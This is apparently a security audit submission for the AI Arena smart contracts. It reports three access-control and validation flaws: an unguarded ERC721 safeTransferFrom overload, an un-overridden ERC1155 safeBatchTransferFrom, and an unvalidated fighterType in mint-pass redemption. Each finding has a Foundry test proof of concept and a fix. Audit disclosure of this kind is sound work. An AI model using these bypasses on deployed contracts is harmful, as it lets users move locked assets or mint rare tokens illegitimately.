AI Arena - ADM's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L365 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC721/ERC721.sol#L175-L183

Vulnerability details

Impact

There is a check added to transferFrom and safeTransferFrom to prevent users from transferring staked fighters or having more than 10 fighters per address. However the ERC721 contract that FighterFarm inherits has 2 safeTransferFrom functions and only 1 of them is overridden. Users can call safeTransferFrom(from, do, tokenId, someData) to call the one without the check and transfer a token without triggering the ableToTransfer check.

Proof of Concept

Modify the testTransferringFighterWhileStakedFails test case below and see that the test now fails as the transfer succeeds without reverting as it should.

function testTransferringFighterWhileStakedFails() public {
	_mintFromMergingPool(_ownerAddress);
	_fighterFarmContract.addStaker(_ownerAddress);
	_fighterFarmContract.updateFighterStaking(0, true);
	assertEq(_fighterFarmContract.fighterStaked(0), true);
	
	// check that i'm unable to transfer since i staked
	vm.expectRevert();
-	_fighterFarmContract.transferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);
+	_fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "Some Data");

	assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true);
	assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Add another safeTransferFrom function with a data argument in FighterFarm with the ableToTransfer check.

Assessed type

Access Control

Lines of code

GameItems.sol#L301](https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L301 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134-L146

Vulnerability details

Impact

Items with the ItemAttributes.transferable set to false should not be able to be transferred between users. However the inherited contract ERC1155.sol includes a public safeBatchTransferFrom function that has not been overridden. As a result there is no require(allGameItemAttributes[tokenId].transferable) check and users can use it to transfer items that should be restricted.

Proof of Concept

Add the Following lines to the testUniqueTokensOutstanding test case. (I used this as it has created the gloves which are a non transferable item) The test shows that while a normal safeTransferFrom fails a user can use safeBatchTransferFrom to transfer the item.

function testUniqueTokensOutstanding() public {
	assertEq(_gameItemsContract.uniqueTokensOutstanding(), 1);
	_gameItemsContract.createGameItem(
		"Gloves", "https://ipfs.io/ipfs/gloves", false, false, 10_000, 1 * 10 ** 18, 10
	);

	(string memory name,,,,,) = _gameItemsContract.allGameItemAttributes(1);
	assertEq(name, "Gloves");
	assertEq(_gameItemsContract.remainingSupply(1), 10_000);
	assertEq(_gameItemsContract.uniqueTokensOutstanding(), 2);

+	_fundUserWith4kNeuronByTreasury(_ownerAddress);
+	_gameItemsContract.mint(1, 1);

+	uint256[] memory amounts = new uint256[](1);
+   amounts[0] = 1;

+	vm.expectRevert();
+	_gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 1, 1, ""); // @audit normal transfer fails as expected

+	// @audit gloves are non transferable so this should revert
+	_gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, amounts, amounts, "");
+	assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 1), 1); // @audit however transfer succeeds and _DELEGATED_ADDRESS now has 1 gloves item.
}


## Tools Used
Manual Review

## Recommended Mitigation Steps
Add a safeBatchTransferFrom to the GameItems contract that includes the require(allGameItemAttributes[tokenId].transferable) check.


## Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AAMintPass.sol#L109-L133

Vulnerability details

Impact

When redeeming a mint pass in FighterFarm#redeemMintPass() the fighter type is not validated allowing a user who claimed a normal fighter mint pass to input a fighterType of 1 and mint a dendroid fighter. As a result Dendroid fighters will become far less rare than intended and any users who did not exploit this will be at a disadvantage.

Proof of Concept

Modify the testRedeemMintPass test case as shown below to see how a user is given a regular fighter mintpass but is able to create a dendroid fighter instead.

function testRedeemMintPass() public {
	uint8[2] memory numToMint = [1, 0];
	bytes memory signature = abi.encodePacked(
hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
);

	string[] memory _tokenURIs = new string[](1);
	_tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

	// first i have to mint an nft from the mintpass contract
	assertEq(_mintPassContract.mintingPaused(), false);
	_mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
	assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
	assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

	// once owning one i can then redeem it for a fighter
	uint256[] memory _mintpassIdsToBurn = new uint256[](1);
	string[] memory _mintPassDNAs = new string[](1);
	uint8[] memory _fighterTypes = new uint8[](1);
	uint8[] memory _iconsTypes = new uint8[](1);
	string[] memory _neuralNetHashes = new string[](1);
	string[] memory _modelTypes = new string[](1);

	_mintpassIdsToBurn[0] = 1;
	_mintPassDNAs[0] = "dna";
-	_fighterTypes[0] = 0; 
+   _fighterTypes[0] = 1;   // @audit user can input fighterType of 1 when calling redeemMintPass
	_neuralNetHashes[0] = "neuralnethash";
	_modelTypes[0] = "original";
	_iconsTypes[0] = 1;

	// approve the fighterfarm contract to burn the mintpass
	_mintPassContract.approve(address(_fighterFarmContract), 1);

	_fighterFarmContract.redeemMintPass(
		_mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
	);

	// check balance to see if we successfully redeemed the mintpass for a fighter
	assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
	// check balance to see if the mintpass was burned
	assertEq(_mintPassContract.balanceOf(_ownerAddress), 0);
}

Tools Used

Manual Review

Recommended Mitigation Steps

As AAMintPass has already been deployed and can not be modified I recommend adding another variable to FighterFarm that keeps track of mintpasses used for each fighter.

// Mapping that returns how many passes an address has redeemed already
mapping(address => mapping(uint8 => uint8)) public passesRedeemed;

And then check that that value does not exceed AAMintPass#passesClaimed[] for each fighter at the end of FighterFarm#redeemMintPass().

passesRedeemed[msg.sender][fighterType]++
require(passesRedeemed[msg.sender][fighterType] <= _mintpassInstance.passesClaimed[msg.sender][fighterType])

Assessed type

Invalid Validation